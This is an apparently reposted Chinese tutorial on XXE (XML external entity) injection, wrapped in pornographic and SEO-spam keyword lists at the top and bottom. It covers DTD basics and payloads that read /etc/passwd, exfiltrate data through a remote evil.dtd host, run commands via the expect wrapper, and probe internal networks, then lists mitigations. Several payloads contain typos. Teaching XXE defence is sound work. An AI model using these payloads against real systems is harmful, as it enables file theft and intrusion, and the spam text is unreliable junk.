日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XXE总结

發布時間:2025/4/16 编程问答 15 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XXE总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x00 目錄

?

0x01 XML基礎

定義:一種標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。

XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

<!--XML聲明--> <?xml version="1.0"?> <!--文檔類型定義--> <!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔--> <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素--> <!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”類型--> <!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”類型--> <!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”類型--> <!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”類型--> ]]]> <!--文檔元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>

DTD

內部聲明DTD:

<!DOCTYPE 根元素 [元素聲明]>  

外部聲明DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD中的一些重要的關鍵字:

  • DOCTYPE(DTD的聲明)
  • ENTITY(實體的聲明)
  • SYSTEM、PUBLIC(外部資源申請)

實體類別介紹

實體主要分為兩類

1? 一般實體:內置實體/字符實體/通用實體

2? 參數實體

舉例:
內部實體

<!ENTITY 實體名稱 "實體內容">

外部實體

<!ENTITY 實體名稱 SYSTEM "URI">

參數實體

<!ENTITY % 實體名稱 "實體內容"> 或者 <!ENTITY % 實體名稱 "URI">

外部實體

默認協議

PHP擴展協議?

舉例:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]> <foo><value>&passwd;</value> </foo>

0x02 XXE漏洞

XXE就是XML外部實體注入。當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。

舉例

  • 惡意引入外部實體(1)
  • <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]> <a><value>&passwd;</value> </a>
  • 惡意引入外部實體(2)
  • **XML內容** <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">%d; ]> <aaa>&b;</aaa>

    **DTD文件內容** <!ENTITY b SYSTEM "file:///etc/passwd">
  • 惡意引入外部實體(3)
  • **xml文件內容** <?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[<!ENTITY f SYSTEM "http://www.m03.com/evil.dtd"> ]> <a>&b;</a>**DTD文件內容** <!ENTITY b SYSTEM "file:///etc/passwd">

    XXE的危害

    1.讀取任意文件 - 有回顯

    **xml.php**<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?> 

    ? ? ? ? ? ? ? ? ? ? ? ? ? ?- 無回顯,可以將文件內容發送到遠程服務器,然后讀取。

    **xx.xml**
    <?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">%f; ]> <a>&b;</a> $data = simplexml_load_string($xml); print_r($data);

    **evil.dtd**
    <ENTITY b SYSTEM "file:///etc/passwd">

    2.命令執行

    php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。

    <?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [<!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>

    3.內網探測/SSRF

    由于xml實體注入攻擊可以利用http://協議,也就是可以發起http請求。可以利用該請求去探查內網,進行SSRF攻擊。

    0x03 XXE漏洞修復與防御

    xmllib2.9.0以后,默認不解析外部實體的。

    1.使用開發語言提供的禁用外部實體的方法

    PHP: libxml_disable_entity_loader(true);
    JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
    Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 

    2.過濾用戶提交的XML數據
    過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

    ?

    0x04 總結

    XXE的高階玩法很多,但究其原理都一樣。“千里之堤,始于足下;百丈之臺,始于壘土。”

    XXE漏洞學習從入門到放棄:https://www.jianshu.com/p/77f2181587a4

    XXE萌新進階全攻略:https://www.freebuf.com/vuls/194112.html

    XXE進階——OOB攻擊:https://www.jianshu.com/p/be4d7d5f799c

    DTD/XXE 攻擊筆記分享:https://www.freebuf.com/articles/web/97833.html

    google“XXE進階/全攻略/oob(out of band)”

    轉載于:https://www.cnblogs.com/p0pl4r/p/10335752.html

    總結

    以上是生活随笔為你收集整理的XXE总结的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 国产古装艳史毛片hd | 无码国产色欲xxxx视频 | 国产福利视频网站 | 久久久久久久久久影院 | 丝袜制服一区 | 日韩操 | 欧美综合激情 | 在线免费观看黄色网址 | 国产人澡人澡澡澡人碰视频 | 丝袜 亚洲 另类 欧美 重口 | 激情五月婷婷综合网 | 在线观看免费看片 | 色综合久久88 | 亚洲情侣在线 | 禁果av一区二区三区 | 成人欧美在线 | 野花社区视频在线观看 | 人妻少妇偷人精品久久久任期 | 日日噜噜夜夜爽爽 | 91中出 | 亚洲手机看片 | 亚洲AV无码精品黑人黑人 | 日韩精品人妻无码一本 | 在线观看黄色av | 金8天国av | 在线视频自拍 | 久久久免费电影 | 在线观看91 | 国产精品福利影院 | 水蜜桃影库 | 久操伊人网 | 9999免费视频 | 国产激情a | 91精品人妻一区二区三区果冻 | 成人午夜免费电影 | 精品国产aⅴ麻豆 | 亚洲欧美日韩精品永久在线 | 手机看片99 | 日韩精品――中文字幕 | 精品国产一区在线观看 | 97国产在线观看 | 色欲一区二区三区精品a片 在线观看黄网站 | 蜜桃一二三区 | 亚洲美女爱爱 | 香蕉av一区二区三区 | 国产丝袜自拍 | 欧美一线天 | 香蕉视频网站在线观看 | 伊人激情网| a级片中文字幕 | 91传媒入口 | 免费黄色大片网站 | 午夜香蕉视频 | 四季av一区二区三区免费观看 | www 在线观看视频 | 亚洲av无码电影在线播放 | 天堂网一区二区 | 视频在线观看网站免费 | 少妇又色又紧又黄又刺激免费 | 91网页入口 | 字幕网av | 亚洲精品 日韩无码 | 亚洲视频自拍 | 在线观看aa| 国产欧美精品一区二区三区app | 短篇山村男同肉耽h | 爽爽影院免费观看 | 亚洲伦理一区二区三区 | 视频在线a| 日韩欧美亚洲一区二区三区 | 美女精品久久久 | 99久久久无码国产精品免费 | 五月天激情婷婷 | 亚洲精品国产91 | 午夜视频入口 | 亚洲av无码一区二区三区网址 | 国产中年熟女高潮大集合 | 欧美在线 | 亚洲 | 国产福利视频一区二区 | 欧美 日韩 国产 一区 | 日韩av在线网址 | www.久久久久久久久久 | 国产一区二区三区四区精 | 成人性生交大片免费看vrv66 | 国产日产精品一区二区三区 | 超碰免费公开在线 | 日韩1区2区3区 | 亚洲第一av | 国产日本精品视频 | 欧美zzz物交| 女性私密整形视频 | 国产少妇一区二区 | 日韩亚洲视频在线观看 | 久久精品免费在线观看 | 午夜老司机福利 | 人人爽人人射 | www日韩 | 日韩av在线免费观看 | 蜜桃av中文字幕 |